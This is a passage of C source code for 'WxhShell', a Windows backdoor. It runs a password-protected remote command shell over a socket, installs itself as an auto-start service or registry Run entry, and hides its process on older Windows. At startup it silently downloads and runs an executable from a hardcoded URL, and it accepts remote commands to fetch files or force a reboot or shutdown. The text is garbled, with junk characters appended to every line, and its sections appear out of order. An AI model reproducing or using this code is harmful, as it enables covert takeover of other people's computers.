    if(Boot(SHUTDOWN)) (_CvN=A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A'b$X1h  
    else { hsS&|7Pt  
    closesocket(wsh); +PI}$c-|`  
    ExitThread(0); 9y;}B y  
    } \AA9 m'BZ  
    break; NH}o`x/  
    } _>kc:  
  // 获取shell g,M-[o=Fk  
  case 's': { #N >66!/V  
    CmdShell(wsh); I"x|U[*B  
    closesocket(wsh); Mx`';z8~  
    ExitThread(0); c$L1aZo  
    break; >~Tn%u<  
  } <)T~_s  
  // 退出 b7I0R; Zj  
  case 'x': { CI-za !T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jgG9?w)|u  
    CloseIt(wsh); yt="kZ  
    break; bHE.EBZ  
    } |UMm>.\'  
  // 离开 t8h*SHD9  
  case 'q': { w5~j|c=_W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -l[$+Kw1S  
    closesocket(wsh); xS5 -m6/  
    WSACleanup(); ]4 c+{  
    exit(1); .74C~{}$  
    break; lqJ92vi6Q  
        } yt5<J-m  
  } eI2HTFyT  
  } 9X;*GC;d  
]H}2|~c  
  // 提示信息 aGi`(|shW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |m"Gr)Gm  
} j3/6hE>  
  } REK):(i7P  
:DNI\TmhJ  
  return; 2y;vX|lX]  
} ~&qvS  
z |~+0  
// shell模块句柄 ~M} K]Li  
int CmdShell(SOCKET sock) h4|}BGO  
{ K[OOI~"C  
STARTUPINFO si; S2*sh2-&6  
ZeroMemory(&si,sizeof(si)); ckY#oRQ1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {j]cL !Od  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 43M.Hj]  
PROCESS_INFORMATION ProcessInfo; @P75f5p}<  
char cmdline[]="cmd";  HB'9&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -aok]w m  
  return 0; 6?KUS}nRS  
} [R%*C9Y d  
>A-{/"p#  
// 自身启动模式 un-%p#  
int StartFromService(void) 83/m^^F{]  
{ _u$DcA8B  
typedef struct "B (?|r%  
{ 3.BUWMD  
  DWORD ExitStatus; 7]T(=gg /  
  DWORD PebBaseAddress; ")i)vXF'  
  DWORD AffinityMask; IjRUr\l  
  DWORD BasePriority; WH1 " HO  
  ULONG UniqueProcessId; [w@S/K[_|  
  ULONG InheritedFromUniqueProcessId; GU2TQx{V  
}   PROCESS_BASIC_INFORMATION; MQN~I^v3  
Qr3!6  
PROCNTQSIP NtQueryInformationProcess; 9cP{u$  
Q*ELMib  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w->Y92q]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; , ftJw  
s=jYQ5nv  
  HANDLE             hProcess; $9Bzq_!  
  PROCESS_BASIC_INFORMATION pbi; GAYn*'<  
K&NH?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;)CN=J!  
  if(NULL == hInst ) return 0; 1 @t.J>  
ki@C}T5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;NdH]a {  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }k%6X@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Y?Z&rNb  
Zf!Q4a"  
  if (!NtQueryInformationProcess) return 0; ,;w~ VZ4  
ZZo<0kDk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Il&7n_ H  
  if(!hProcess) return 0; !JrKTB%  
^?""'1iuQx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U{oM*[  
X5J)1rL  
  CloseHandle(hProcess); w[gt9]}N  
;iKtv+"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fv8x7l7  
if(hProcess==NULL) return 0; @XzfuuE]  
k@|px#kq  
HMODULE hMod; SQ2v  
char procName[255]; bRm;d_9zC  
unsigned long cbNeeded; {zm8`  
A"b31*_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qQ3Q4R\  
q/I( e  
  CloseHandle(hProcess); ;2`6eyr  
h?SRX_  
if(strstr(procName,"services")) return 1; // 以服务启动 fTy:Re  
l5 H5!$3~  
  return 0; // 注册表启动 +)q ,4+K%}  
} i]k)wr(  
H6 x  
// 主模块 Bt@?l]Y  
int StartWxhshell(LPSTR lpCmdLine) PL$XXj>|:  
{ ^"?a)KC  
  SOCKET wsl; q%kCTw  
BOOL val=TRUE; 0:[A4S`X  
  int port=0; ,(x` zpp _  
  struct sockaddr_in door; )Wq1 af   
^il$t]X5-  
  if(wscfg.ws_autoins) Install(); :h34mNU  
ff.k1%wr^  
port=atoi(lpCmdLine); HLV8_~gQPf  
U3:|!CC)T  
if(port<=0) port=wscfg.ws_port; F=e;[uK\  
-Z ,r\9d  
  WSADATA data; `Ze$Bd\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JX 5/PCO  
0$Rn|yqf%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~\NQkaBkY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |Vz)!M  
  door.sin_family = AF_INET; ms}o[Z@n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \X*y~)+K`  
  door.sin_port = htons(port); LZ_VLW9w E  
,S`n?.&& 7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5O]tkHYR  
closesocket(wsl); dE,E,tv  
return 1; 06AgY0\  
} vf.MSk?~ar  
Y3[KS;_fr9  
  if(listen(wsl,2) == INVALID_SOCKET) { zx\-He  
closesocket(wsl); N80ogio_Tk  
return 1; '1 2*'Q+{+  
} >uYQt ~s  
  Wxhshell(wsl); l]zQSXip  
  WSACleanup(); |-S!)iG1V  
7=?!B#hm !  
return 0; TX$dxHSPK  
w#A\(z%;x  
} `x _(EZ  
y'^U4# (  
// 以NT服务方式启动 |T"vF`Kr(>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Iv  
{ 9Xg7=(#  
DWORD   status = 0; BrSvkce  
  DWORD   specificError = 0xfffffff; hL/u5h%$  
%b*N.v1+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &UnhYG{A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8~Zw"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ].J;8}  
  serviceStatus.dwWin32ExitCode     = 0; 9VTAs:0D=  
  serviceStatus.dwServiceSpecificExitCode = 0; s/hWhaS<  
  serviceStatus.dwCheckPoint       = 0; Z|*#)<| ~  
  serviceStatus.dwWaitHint       = 0; zT)cg$8%fY  
;Z0&sFm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )_C>hWvo_  
  if (hServiceStatusHandle==0) return; deYv&=SPl  
Iv 3O8 GU  
status = GetLastError(); s|XWw<Sa  
  if (status!=NO_ERROR) S[$9_Jf  
{ #Swc>jYc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EmO[-W|2  
    serviceStatus.dwCheckPoint       = 0; Jy}~ZY  
    serviceStatus.dwWaitHint       = 0; n[!QrEeR},  
    serviceStatus.dwWin32ExitCode     = status; 9Cd/SlNV2  
    serviceStatus.dwServiceSpecificExitCode = specificError; xa'U_]m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 55.2UN  
    return; N`IXSE  
  } ?K pDEH~\  
u{=h%d/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AKjobA#  
  serviceStatus.dwCheckPoint       = 0; U1/I( w  
  serviceStatus.dwWaitHint       = 0; U}X'RCM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g,WTXRy  
} qh6b;ae\x  
eSObOG/  
// 处理NT服务事件,比如:启动、停止 vA:ZR=)F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j}Svb1A  
{ rz|Sjtq  
switch(fdwControl) PtUS7[]  
{ um$U3'0e  
case SERVICE_CONTROL_STOP: _z%\53h  
  serviceStatus.dwWin32ExitCode = 0; `UzH *w@e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^pe/~ :a  
  serviceStatus.dwCheckPoint   = 0; ) C~#W  
  serviceStatus.dwWaitHint     = 0; 9=iMP~?xF  
  { @ ^F{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [V?HK_~  
  } r%=a:GdAg  
  return; @+M1M 2@Xz  
case SERVICE_CONTROL_PAUSE: .yUD\ZGJ u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |j'@no_rv  
  break; tq}sedYhee  
case SERVICE_CONTROL_CONTINUE: /KnIU|;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }Tm+gJA  
  break; a0JMLLa [I  
case SERVICE_CONTROL_INTERROGATE: 3nhQ^zqf  
  break; rLD1Cpeb,w  
}; P;y!Y/$C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zBTxM  
} &-NGVPk81`  
dmkGIg}  
// 标准应用程序主函数 EqD@o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J Z@sk2  
{ SLkgIb~'X  
ueW/i  
// 获取操作系统版本 jZ5ac=D&I  
OsIsNt=GetOsVer(); j4@6`[n:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L28wT)D-  
{Gfsiz6  
  // 从命令行安装 m>[G-~0?kI  
  if(strpbrk(lpCmdLine,"iI")) Install(); "\9 beK:l  
4M>]0%3.D  
  // 下载执行文件 #>CWee;  
if(wscfg.ws_downexe) { UDk H'x$=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <Cs9$J  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;/23CFYM  
} {Ho_U&<  
qixnaiZ  
if(!OsIsNt) { kp?_ir  
// 如果时win9x,隐藏进程并且设置为注册表启动 o4rf[.z  
HideProc(); J~ @W":v  
StartWxhshell(lpCmdLine); F DGzh/  
} u[wDOw  
else ) cOBP}j+  
  if(StartFromService()) p*zTuB~e<  
  // 以服务方式启动 Frx_aGLH1  
  StartServiceCtrlDispatcher(DispatchTable); 6]!Jo)BF  
else NS x-~)  
  // 普通方式启动 |a0@4 :  
  StartWxhshell(lpCmdLine); n%vmo f  
4 ;6,h6a  
return 0; h^H)p`[Gme  
} [W'2z,S`WD  
z+_d*\  
aNICSxDN  
6_w~#86=  
=========================================== (G>g0(;D-  
4Dd]:2|D  
nob}}w]~C  
eY:jVYG(  
`- 9p)@'8k  
(f"LD8MJ/  
" 7Sycy#D  
|t58n{V.O  
#include <stdio.h> ){tT B  
#include <string.h> 0}>p)k3&A  
#include <windows.h> Jjx1`S*i  
#include <winsock2.h> >/-Bg:  
#include <winsvc.h> PC?XE8o  
#include <urlmon.h> SmP&wNHQf  
.T~Oc'wGo  
#pragma comment (lib, "Ws2_32.lib") z_$F)*PL  
#pragma comment (lib, "urlmon.lib") f Lns^  
) @f6  
#define MAX_USER   100 // 最大客户端连接数 YipL_&-  
#define BUF_SOCK   200 // sock buffer }SW>ysw'm  
#define KEY_BUFF   255 // 输入 buffer <)oW  
AHP;N6Y6  
#define REBOOT     0   // 重启 [Al} GM  
#define SHUTDOWN   1   // 关机 e yByAT~W,  
k`0m|<$  
#define DEF_PORT   5000 // 监听端口 Xf|I=XK  
eC$ Jdf  
#define REG_LEN     16   // 注册表键长度 P[gYENQ   
#define SVC_LEN     80   // NT服务名长度 E^Z?X2Z  
@B>pPCowa  
// 从dll定义API HUGhz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S),acc(d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @t#Ju1Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -h&KC{Xab  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _Qf310oONS  
e:;u_ be~  
// wxhshell配置信息 U{&gV~  
struct WSCFG { J+Zp<Wu-  
  int ws_port;         // 监听端口 AbOF/ g)C  
  char ws_passstr[REG_LEN]; // 口令 u_%L~1+'  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1xb1?/n1#  
  char ws_regname[REG_LEN]; // 注册表键名 Jw -3G3h  
  char ws_svcname[REG_LEN]; // 服务名 S,qEKWyLd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Uf\U~wM<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c[4I> "w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GNI:k{H@"?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pn aSOyR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K\^S>dV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #HmZe98[%  
ee .,D  
}; %v<BE tq  
/n8\^4{fP{  
// default Wxhshell configuration eIt<da<G?  
struct WSCFG wscfg={DEF_PORT, 2X@"#wIg  
    "xuhuanlingzhe", R2f^dt^  
    1, {*K7P>&  
    "Wxhshell", C;XhnqWv+l  
    "Wxhshell", +E }q0GV  
            "WxhShell Service", A$W~R  
    "Wrsky Windows CmdShell Service", klx28/]  
    "Please Input Your Password: ", v1\/dQK  
  1, Ew*SA  
  "http://www.wrsky.com/wxhshell.exe", &[y+WrGG  
  "Wxhshell.exe" #9p|aS\  
    }; H[U"eS."  
x^)W}p"  
// 消息定义模块 M.fA5rJ^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9}aEV 0 V|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @ x5LrQ_`r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @*-t.b2k  
char *msg_ws_ext="\n\rExit."; U,7}VdO  
char *msg_ws_end="\n\rQuit."; #]@|mf q  
char *msg_ws_boot="\n\rReboot..."; |?4NlB6  
char *msg_ws_poff="\n\rShutdown..."; ?OVje9  
char *msg_ws_down="\n\rSave to "; o8u;2gZx  
y=SVS3D  
char *msg_ws_err="\n\rErr!";  a S ,  
char *msg_ws_ok="\n\rOK!"; HlraOp+  
W?D-&X^ny  
char ExeFile[MAX_PATH]; sI6coe5n  
int nUser = 0; !AN;  
HANDLE handles[MAX_USER]; t_jnp $1m  
int OsIsNt; ayQ2#9X}  
%'.3t|zH  
SERVICE_STATUS       serviceStatus; =TJ9Gr/R&:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t {H{xd  
CI^s~M >  
// 函数声明 Q2<v: *L  
int Install(void); 2BV]@]qB  
int Uninstall(void); jGe%'A N\  
int DownloadFile(char *sURL, SOCKET wsh); [G' +s  
int Boot(int flag); rG3?Z^&R+  
void HideProc(void); zJo?,c  
int GetOsVer(void); 6o4Y]C2W{1  
int Wxhshell(SOCKET wsl); 63/a 0Yn  
void TalkWithClient(void *cs); 4`Lr^q}M+  
int CmdShell(SOCKET sock); CZog?O}<  
int StartFromService(void); t8M\  
int StartWxhshell(LPSTR lpCmdLine); }VeE4-p B  
B[9y<FB+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `RXlqj#u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^G4@cR.An  
I>{o]^xw-D  
// 数据结构和表定义 b>Ea_3T/  
SERVICE_TABLE_ENTRY DispatchTable[] = Ko0?c.l  
{ P=l 7m*m  
{wscfg.ws_svcname, NTServiceMain}, jXPbj.  
{NULL, NULL} a[p$e?gka  
}; n;wViw  
!,]2.:{0z  
// 自我安装 }{)Rnb@ >  
int Install(void) -kHJH><j  
{ Z<,Hz+  
  char svExeFile[MAX_PATH]; =\G`g #  
  HKEY key; yhrjML2K  
  strcpy(svExeFile,ExeFile); #x`K4f)  
FC WF$'cO  
// 如果是win9x系统,修改注册表设为自启动 kW0ctGFYlf  
if(!OsIsNt) { gegM&Xo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'x5p ?m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Swh\^/B8  
  RegCloseKey(key); m^ Epw4eg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6\k~q.U@XI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e+)y6Q=  
  RegCloseKey(key); A1r%cs  
  return 0; p=3t!3  
    } e N v\ZR1  
  } ;M~9Yr=1  
} TO.STK`  
else { maeQ'Sv_&  
cQ'x]u_  
// 如果是NT以上系统,安装为系统服务 h=\1ZQKC)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }ice*3'3  
if (schSCManager!=0) vG7Mk8mIr  
{ ay|jq "a  
  SC_HANDLE schService = CreateService g9CedD%40  
  ( -<9Qez)y  
  schSCManager, ?XP4kjJ  
  wscfg.ws_svcname, bDudETl  
  wscfg.ws_svcdisp, nCQ".G  
  SERVICE_ALL_ACCESS, RN|Bk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v 2 p  
  SERVICE_AUTO_START, !#~KSO}zW2  
  SERVICE_ERROR_NORMAL, 5D2mZ/  
  svExeFile, j Neb*dPoK  
  NULL, m5&Ht (I%n  
  NULL, I?E+  
  NULL, o.w/ ?  
  NULL, ?iV}U  
  NULL (F 9P1Iq  
  ); x;`G n_  
  if (schService!=0) B9[vv;lzu  
  { ~cyKPg6  
  CloseServiceHandle(schService); ](v,2(}=  
  CloseServiceHandle(schSCManager); 7 )[2Ud8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >2#<tH0  
  strcat(svExeFile,wscfg.ws_svcname); ^*4#ZvpG2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bCr W'}:de  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EpKZ.lCU  
  RegCloseKey(key); a'/C)fplL  
  return 0;  :\'1x  
    } X lItg\R  
  } D "5|\  
  CloseServiceHandle(schSCManager);  B9y5NX  
} *3E3,c8{A  
} g!' x5#]n  
-^yc<%U  
return 1; ,jeHL@>w[  
} & wtE"w  
j>?nL~{  
// 自我卸载 lK7:qo  
int Uninstall(void) 0tL5t7/Gr  
{ F):kF_ho  
  HKEY key; {fDRVnI?  
A^+kA)8  
if(!OsIsNt) { -zMvpe-am&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?lgE9I]  
  RegDeleteValue(key,wscfg.ws_regname); c^'bf_~-W  
  RegCloseKey(key); xu"-Uj1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0sKo NzE  
  RegDeleteValue(key,wscfg.ws_regname); #:yAi_Ct  
  RegCloseKey(key); c(vi,U-hC  
  return 0; [tSv{  
  } f. >[ J  
} L gX2KU"  
} @ N'P?i  
else { A{B$$7%  
.t>SbGC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MIl\Bn  
if (schSCManager!=0) "QS(4yw?jg  
{ *^7^g!=z2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7b-[# g  
  if (schService!=0) >7X5/z  
  { @XL49D12c  
  if(DeleteService(schService)!=0) { /Us+>vg!  
  CloseServiceHandle(schService); >wb*kyO7(#  
  CloseServiceHandle(schSCManager); -{JReplc  
  return 0; 0QquxYYw,  
  } {Fyw<0 [@  
  CloseServiceHandle(schService); pX>wMc+  
  } ASMItT  
  CloseServiceHandle(schSCManager); yGWl8\,j0  
} JUDZ_cGr  
} X=6L-^ o)  
K^GvU0\  
return 1; +JD^5J,-NJ  
} r z@%rOWV  
X3gYe-2  
// 从指定url下载文件 wT;;B=u}G  
int DownloadFile(char *sURL, SOCKET wsh) _3f/lG?&-  
{ Cx(HsJ! ,  
  HRESULT hr; ]>sMu]biH  
char seps[]= "/"; Y%]g,mG  
char *token; >B;S;_5=  
char *file; R~TG5^(  
char myURL[MAX_PATH]; V)`Q0}  
char myFILE[MAX_PATH]; aOoWB^;6  
Pj8Vl)8~NV  
strcpy(myURL,sURL); [ CU8%%7  
  token=strtok(myURL,seps); I] m&h!  
  while(token!=NULL) 5=8_Le  
  { p<@+0Uw2  
    file=token; zn*i  
  token=strtok(NULL,seps); \4*i;a.kU  
  } }zeKf/?'  
RhjU^,%  
GetCurrentDirectory(MAX_PATH,myFILE); 7#T@CKdUd  
strcat(myFILE, "\\"); 6ESS>I"su  
strcat(myFILE, file); "bO]AG  
  send(wsh,myFILE,strlen(myFILE),0); @ eP[*Q  
send(wsh,"...",3,0); xxdxRy9/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N *n?hN  
  if(hr==S_OK) @(tuE  
return 0; O,I7M?dRf  
else  _8z  
return 1; n^epC>a"b  
VD=F{|^  
} mP)im]H  
~BI! l  
// 系统电源模块 m%OX< T!  
int Boot(int flag) 1 7hXg"B  
{ dFpP_U  
  HANDLE hToken; yucbEDO.  
  TOKEN_PRIVILEGES tkp; f6HDfJmE  
n] n3/wpO  
  if(OsIsNt) { hN:2(x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v|>'m#Ln2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eJ$ {`&J  
    tkp.PrivilegeCount = 1; TUd=qnu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HR k^KB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X_I.f6v{  
if(flag==REBOOT) { *:,7 A9LY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LZ~$=<  
  return 0; &$NVEmW-J  
} en gh3TZC  
else { ch}(v'xv(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;,LlOR  
  return 0; )'?@raB!  
} 3sGe#s%  
  } iW <B1'dp  
  else { Ibl==Irk  
if(flag==REBOOT) { )8Sm}aC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B bx.RL.V  
  return 0; @AkD-}^[  
} 9Fxz9_ i  
else { ma26|N5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q1@V?`rkS{  
  return 0; re} P  
} /!0{9F<  
} =zW.~(c{  
b$)XS  
return 1; J;BG/VI1  
} enJE#4Z5&s  
xpVYNS{c+|  
// win9x进程隐藏模块 ~A=Z/46*Z  
void HideProc(void) f8 M=P.jz  
{ $ p{Q]|ww  
-xf=dzm)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'rdg  
  if ( hKernel != NULL ) ';!02=-@  
  { R:v`\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TNV#   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P A9 ]L  
    FreeLibrary(hKernel); hU `H\LE  
  } b-+iL  
]7^YPFc+  
return; u]ZCYJ>  
} '?k*wEu  
D|n`9yv a  
// 获取操作系统版本 ?H3xE=<X  
int GetOsVer(void) iffRGnN^e  
{ LE!3'^Zq  
  OSVERSIONINFO winfo; MqI!i>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T;}pMRd%  
  GetVersionEx(&winfo); ?ei7jM",  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @$;"nVZ4v  
  return 1; hC8'6h  
  else [ua{qJ9  
  return 0; pUr.<yc&u  
} C=AX{sn  
I/MYS5}  
// 客户端句柄模块 VHB5  
int Wxhshell(SOCKET wsl) #2&_WM!   
{ >+fet ,  
  SOCKET wsh; mg*[,_3q33  
  struct sockaddr_in client; /'p(X~X:l  
  DWORD myID; [HK[{M =v=  
[*#ms=Zdc  
  while(nUser<MAX_USER) aBT|Q@Y.  
{ X'WbS  
  int nSize=sizeof(client); j#0@%d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uQ{ &x6.1  
  if(wsh==INVALID_SOCKET) return 1; {cKKTDN  
5B@+$D[0?3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qv=i eU  
if(handles[nUser]==0) RpR;1ktF>  
  closesocket(wsh); ]7-*1kL8=~  
else S!k cC-7  
  nUser++; {(A Ys*5  
  } zN {'@B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uJm9h(xq  
!,PG!Gnl  
  return 0; sC48o'8(  
} Y: oL  
9#iu#?*B  
// 关闭 socket ^c!"*L0E  
void CloseIt(SOCKET wsh) &hEtVkK  
{ u)M dFz  
closesocket(wsh); _1 f!9ghT\  
nUser--; egxh  
ExitThread(0); ,[%KSyH  
} q<yp6Q3^  
(qnzz!s  
// 客户端请求句柄 A@A8xn%  
void TalkWithClient(void *cs) 6S`_L  
{ Z& _kq|  
Y2`sL,'h  
  SOCKET wsh=(SOCKET)cs; htBA.eQ  
  char pwd[SVC_LEN]; jPWONz(#  
  char cmd[KEY_BUFF]; Z/Rp?Jz\j/  
char chr[1]; C QkY6  
int i,j; Ac:`xk<  
<V?2;Gy  
  while (nUser < MAX_USER) { z !K2UTX  
iLy^U*yK  
if(wscfg.ws_passstr) { wHLQfrl0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R{g= N%O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K~L&Z?~|E  
  //ZeroMemory(pwd,KEY_BUFF); 4Mt3<W5  
      i=0; K#R]of~/  
  while(i<SVC_LEN) { kckRHbeU  
&g :(I  
  // 设置超时 #-L0.z(  
  fd_set FdRead; _Ewh:IM-  
  struct timeval TimeOut; +7.|1x;C  
  FD_ZERO(&FdRead); "laf:Ty1  
  FD_SET(wsh,&FdRead); \BHZRytQF  
  TimeOut.tv_sec=8; yYz{*hq  
  TimeOut.tv_usec=0; OyO<A3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v=k+MvX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $kUB%\`  
}&0LoW/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "r^RfZ;  
  pwd=chr[0];  2E*=EjGV  
  if(chr[0]==0xd || chr[0]==0xa) { ZF7n]LgSc&  
  pwd=0; k4{!h?h  
  break; x^lc T  
  } ~XR ('}5D  
  i++; 9PB%v.t5 y  
    } ^Mq/Cf_T  
A@?0(  
  // 如果是非法用户,关闭 socket 3zsp 6kV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DOWWG!mx  
} Kbu>U{'  
)@! fLA T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,!Wo6{'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -6)nQNj|  
S)hDsf.I  
while(1) { xP\s^]e  
`:&RB4Z  
  ZeroMemory(cmd,KEY_BUFF); l%+ &V^:  
/ &Z8g4vc  
      // 自动支持客户端 telnet标准   uO4 LD}A  
  j=0;  ?s,oH  
  while(j<KEY_BUFF) { .>W [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lJ3VMYVrUP  
  cmd[j]=chr[0]; xd{.\!q.  
  if(chr[0]==0xa || chr[0]==0xd) { 4q .;\n  
  cmd[j]=0; `)cI^!  
  break; <y7{bk~i  
  } #?)6^uTW  
  j++; x<I[?GT=  
    } B  W*8  
}[leUYi`  
  // 下载文件 du$lS':`  
  if(strstr(cmd,"http://")) { A.*e8a/6X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4A+g-{d  
  if(DownloadFile(cmd,wsh)) 4}C \N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;MeY@* "{  
  else < }K9 50  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #~p;s>  
  } oI#TjF  
  else { "]jN'N(.  
-aBhN~  
